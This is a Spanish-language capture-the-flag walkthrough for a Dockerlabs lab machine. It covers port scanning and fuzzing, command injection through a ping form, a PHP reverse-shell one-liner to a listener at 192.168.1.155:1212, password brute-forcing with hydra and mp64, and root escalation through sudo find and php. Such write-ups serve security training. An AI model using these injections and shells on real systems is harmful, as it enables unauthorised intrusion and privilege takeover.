HackMeDaddy
Máquina de dificultad difícil de la plataforma Dockerlabs
Comprobación
Una vez que tenemos la máquina desplegada con la IP 172.17.0.2 vamos a crearnos una carpeta con el nombre de la máquina
Una vez que estamos dentro de la carpeta con el nombre de la máquina vamos a darle uso a una utilidad que tenemos previamente definida en la zshrc, la cual nos crea unos directorios para poder organizarnos mejor

Una vez que tenemos estas carpetas creadas vamos a meternos en reconocimiento y vamos a comprobar si podemos ver la máquina lanzándole un ping

Como podemos ver la máquina, vamos a empezar con el escaneo de puertos
Escaneo de puertos
Empezamos realizándole un escaneo de puertos

En el escaneo hemos aplicado unos parámetros de nmap los cuales voy a pasar a explicar
-sS
Para que no se realice un three-way handshake. Básicamente, lo que pasa si no le ponemos este parámetro es lo siguiente:
Si no le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK y entablamos la conexión enviando finalmente un ACK
Si le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK, pero le devolvemos un RST (Reset Packet)
Es una manera más “sigilosa” de hacer un escaneo y nos permite ir más rápido, pero se puede llegar a ver en los logs del servidor que alguien le está escaneando, así que cuidado si vais a hacerlo a un servidor “real”
--min-rate 5000
Le indicas a nmap que no haga peticiones más lentas de 5000 paquetes por segundo
-n
Por defecto, nmap realiza resolución DNS. Con este parámetro le indicamos que no lo haga
-Pn
Otra cosa que hace nmap por defecto es realizar un ping para saber si el host está activo antes de escanearlo, por lo que con este parámetro le decimos que no queremos que nos realice ese ping de comprobación
-oG
Por último, este parámetro lo que hace es exportar las evidencias al archivo “puertos_” en un formato fácil de tratar con expresiones regulares (como es nuestro caso con mi herramienta portsClean.sh)
Una vez que tenemos el archivo vamos a pasarle la herramienta portsClean.sh

Con el parámetro -f le indicamos cuál es el archivo que se ha generado con el parámetro -oG de nmap y con -o le decimos el nombre del archivo que queremos que se genere con los datos ya tratados
Una vez que tenemos esto, vamos a volver a utilizar nmap para ver si podemos determinar las versiones de los servicios que corren en estos puertos y también vamos a lanzar un conjunto de scripts de reconocimiento que tiene ya nmap programados en Lua

Una vez que tenemos el archivo “versiones” generado por nmap vamos a abrirlo y a ver qué nos ha reportado

Ahí podemos ver que tenemos el servicio SSH y HTTP y sus versiones y más información
Ahora que sé que está corriendo el servicio Apache (HTTP) en este caso vamos a hacer las dos operaciones que hacemos siempre antes de ir a ver la web
Para empezar vamos a determinar qué tecnologías están corriendo para este servicio con whatweb

Podemos ver que tampoco nos reporta mucha información relevante por lo que vamos a lanzar un script de nmap contra este puerto (80), el cual va a actuar como fuzzer para ver si de primeras vemos algo

Ahí vemos que tenemos un archivo robots.txt así que ahora sí que sí vamos a ir a ver la web para ver a qué nos estamos enfrentando
Web
Al meternos en la web de primeras vemos lo siguiente

Parece ser que podemos ejecutar comandos que están previamente definidos y también podemos limpiar el output de los comandos previamente ejecutados
Al meternos en “robots.txt” vemos lo siguiente

Después de probar esos directorios, vemos que efectivamente están deshabilitados por lo que vamos a hacer fuzzing para ver si conseguimos enumerar otros directorios ocultos

Nos reporta un archivo .txt llamado info, si nos metemos en este nos sale su contenido que es el siguiente

Parece ser que hay un archivo “README.txt” el cual tiene palabras que parece que algunas de ellas son directorios
El archivo “README.txt” lo veíamos en la ejecución de comandos que teníamos en la página principal

En el código fuente del index.html podemos ver el output que se reflejaba al hacerle un cat al README.txt
Una vez que tenemos esto vamos a meter todas las palabras en un archivo y a probar cuál es la que funciona

Ahí tenemos el directorio que funciona
Al meternos tenemos el siguiente archivo

Si accedemos a él se nos carga la siguiente página web

No intentéis probar un LFI porque ya he mirado yo y no hay manera de tirar por ahí
Si bajamos tenemos el siguiente apartado dentro de la página web

Parece ser que tenemos la posibilidad de hacer un ping a una máquina
Para poder comprobarlo voy a ponerme en escucha de trazas ICMP por la interfaz de red de Docker

Podemos ver que recibimos el ping y le respondemos por lo que tenemos aquí una posible vía de ejecutar comandos en la máquina
Vamos a empezar intentando listar los archivos que hay en el directorio en el que está alojado este archivo .php introduciendo en el campo donde nos piden la IP lo siguiente
172.17.0.1 | ls -la

Podemos ver que nos ejecuta el ping y después el ls
Por lo que vamos a intentar ganar acceso al sistema de la siguiente manera
Para ello vamos a meter la siguiente instrucción que es una reverse shell hecha en PHP, antes de meter la reverse shell vamos a ponernos con nc y rlwrap en escucha por el puerto 1212

Y ahora sí vamos a introducir y ejecutar la siguiente sentencia
192.168.1.155 | php -r '$sock=fsockopen("192.168.1.155",1212);exec("/bin/sh -i <&3 >&3 2>&3");'

Podemos ver que obtenemos la reverse shell perfectamente
En este caso no voy a hacer el tratamiento de la TTY porque he probado a hacerla y me ha dado problemas, por eso he jugado con rlwrap
Una vez que estamos dentro vamos a ver cómo podemos escalar privilegios
Escalada de privilegios
En el directorio /home podemos ver que tenemos dos carpetas

En el directorio de “e1i0t” sí que podemos entrar y dentro vemos lo siguiente

El único archivo que podemos leer es “nota.txt” y dentro nos dice que las contraseñas están en agenda
Si miramos un poco más dentro del directorio “documents” tenemos lo siguiente

Dentro de cada archivo hay posibles contraseñas para el usuario e1i0t por lo que vamos a probar para ver cuál funciona y poder llegar a conectarnos por SSH como este usuario


Podemos ver que tenemos una contraseña válida para el usuario así que vamos a conectarnos como este
Una vez que estamos dentro, en el directorio de este usuario hay una flag

Si miramos un poco podemos ver que tenemos la capacidad de ejecutar el comando find como el usuario an0n1mat0, por lo que aquí tenemos una vía potencial de poder escalar privilegios a este usuario
Para poder hacerlo vamos a ejecutar lo siguiente

Con esto lo que estamos haciendo es decirle a find que ejecute un comando por cada archivo encontrado y como el comando que hemos puesto es una sh pues ya tendríamos nuestra sh como el usuario an0n1mat0

Ahora ya somos el usuario an0n1mat0 por lo que podemos ver qué es lo que hay en su directorio, aunque antes he tratado un poco esta sh con el siguiente comando
script /dev/null -c bash
Ahora sí que vamos a irnos al directorio de este usuario para ver qué tiene
Para empezar vemos la segunda flag

Aparte también vemos un archivo que nos indica que hay una carpeta existente llamada “secret”, al buscarla nos encontramos con lo siguiente

Hay un archivo el cual nos dice que las contraseñas están en un archivo llamado “passwords_user.txt”, por lo que sabiendo esto vamos a buscarlo para ver dónde se encuentra

Si nos abrimos este archivo vemos lo siguiente

Están las contraseñas pero a la del usuario an0n1mat0, que es la que nos interesa, le faltan dos caracteres
Para poder descubrir cuáles son vamos a utilizar una herramienta que se llama mp64

Esta herramienta lo que nos permite es, en base a una palabra a la que le faltan letras, crear un diccionario con todas las combinaciones de letras posibles que queramos; en este caso el ?l sirve para decirle que solo queremos letras en minúsculas
Si ahora usamos de nuevo hydra para ver si la contraseña de este usuario está en nuestro diccionario, nos encontramos con lo siguiente

Ahora que tenemos la contraseña podemos ver si tenemos la posibilidad de ejecutar algún binario como el usuario root

Podemos ver que tenemos la capacidad de ejecutar PHP como el usuario root, por lo que escalar privilegios es súper fácil
Para hacerlo vamos a ejecutar lo siguiente

Lo que hemos hecho es declarar una variable que contenga el binario bash y después con php -r hemos ejecutado a nivel de sistema esta variable
Por último ahí tenemos la flag de root

La verdad es que no me ha parecido una máquina difícil, más bien diría que es media, pero bueno, ha sido un reto divertido